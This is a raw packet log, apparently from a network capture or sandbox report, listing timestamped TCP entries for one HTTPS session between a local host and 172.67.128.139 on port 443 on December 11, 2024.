Dec 11, 2024 12:14:48.394918919 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.394928932 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.395194054 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.395194054 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.395194054 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.395194054 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.395194054 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.395205021 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.395350933 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.395880938 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.395891905 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.396100998 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.396110058 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.396150112 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.396150112 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.396251917 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.397377014 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.397387028 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.397527933 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.397612095 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.397612095 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.397618055 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.397855997 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.398585081 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.398595095 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.398793936 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.398793936 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.398847103 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.398847103 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.398854017 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.398916006 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.398977041 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.400068998 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.400079966 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.400252104 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.400252104 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.400263071 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.400296926 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.400346041 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.400448084 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.401081085 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.401091099 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.401288986 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.401295900 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.401336908 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.401495934 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.402904034 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.402915001 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.403059959 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.403059959 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.403105021 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.403112888 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.403153896 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.403153896 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.403304100 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.404042006 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.404052019 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.404181004 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.404266119 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.404266119 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.404269934 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.404448032 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.405328989 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.405340910 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.405488968 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.405543089 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.405543089 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.405550003 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.405594110 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.405594110 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.405788898 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.406344891 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.406356096 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.406516075 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.406516075 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.406564951 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.406573057 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.406615973 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.406615973 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.406733036 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.408081055 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.408091068 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.408269882 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.408269882 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.408277035 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.408375978 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.408426046 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.409085035 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.409095049 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.409244061 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.409244061 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.409291983 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.409296036 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.409389973 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.409442902 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.410221100 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.410231113 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.410404921 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.410404921 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.410454035 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.410454035 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.410459042 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.410500050 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.410597086 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.411761999 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.411772013 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.411900043 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.412086010 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.412086010 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.412095070 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.412281036 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.413538933 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.413551092 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.413666964 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.413767099 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.413767099 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.413774967 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.413966894 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.414418936 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.414428949 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.414745092 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.414745092 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.414752960 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.414978981 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.414978981 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.415563107 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.415579081 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.415818930 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.415818930 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.415818930 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.415829897 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.415867090 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.415867090 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.416018009 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.417203903 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.417216063 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.417344093 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.417344093 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.417416096 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.417422056 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.417527914 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.417551041 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.418843031 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.418853998 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.418992996 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.419044971 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.419044971 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.419051886 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.419095993 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.419095993 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.419188023 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.419913054 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.419924021 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.420075893 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.420075893 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.420120955 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.420126915 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.420171022 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.420316935 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.421520948 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.421530962 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.421721935 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.421721935 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.421734095 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.421756029 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.421855927 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.421904087 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.422393084 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.422404051 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.422615051 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.422615051 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.422615051 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.422630072 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.422637939 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.422637939 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.422755957 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.423362970 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.423372984 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.423597097 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.423645020 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.423693895 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.423697948 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.423779011 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.423779011 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.423896074 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.425110102 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.425120115 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.425282001 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.425331116 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.425331116 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.425337076 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.425379038 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.425379038 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.425477028 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.426654100 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.426666021 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.426784992 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.426831007 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.426831007 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.426836014 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.426878929 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.426976919 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.426976919 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.427953005 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.427963018 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.428085089 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.428085089 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.428132057 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.428137064 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.428229094 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.428329945 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.428715944 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.428725958 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.428927898 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.428927898 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.428976059 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.429075003 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.429075003 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.429079056 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.429187059 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.429265976 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.430340052 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.430354118 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.430496931 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.430496931 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.430545092 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.430550098 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.430646896 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.430695057 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.431623936 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.431634903 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.431828976 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.431828976 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.431837082 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.431874990 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.432126999 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.433090925 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.433104038 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.433381081 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.433381081 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.433389902 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.433542013 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.433542013 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.433886051 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.433896065 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.434056044 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.434056044 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.434065104 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.434102058 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.434102058 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.434102058 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.434205055 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.435806990 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.435817003 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.435973883 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.435973883 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.435997963 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.436047077 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.436050892 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.436094999 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.436094999 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.436701059 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.436713934 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.436856031 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.436862946 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.436907053 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.436907053 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.436907053 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.436956882 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.437053919 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.438539982 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.438549995 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.439042091 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.439042091 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.439042091 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.439042091 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.439053059 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.439089060 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.439089060 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.439635038 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.439647913 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.439805984 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.439814091 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.439851999 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.439851999 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.439851999 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.439851999 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.439904928 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.440877914 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.440886974 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.440983057 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.441082954 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.441082954 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.441128016 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.441132069 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.441180944 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.441180944 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.442131042 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.442143917 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.442312002 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.442312002 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.442322016 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.442493916 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.442493916 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.442493916 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.443898916 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.443908930 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.444032907 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.444041967 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.444082022 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.444082022 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.444082022 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.444129944 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.444163084 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.444179058 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.444183111 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.444295883 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.444422007 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.594609022 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.594624043 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.594813108 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.594813108 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.594825029 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.594835997 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.594835997 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.595021009 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.595439911 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.595453978 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.595628977 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.595628977 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.595633984 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.595678091 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.595777035 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.596395016 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.596405983 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.596539974 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.596590042 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.596590042 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.596594095 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.596638918 CET	49776	443	192.168.11.20	172.67.128.139
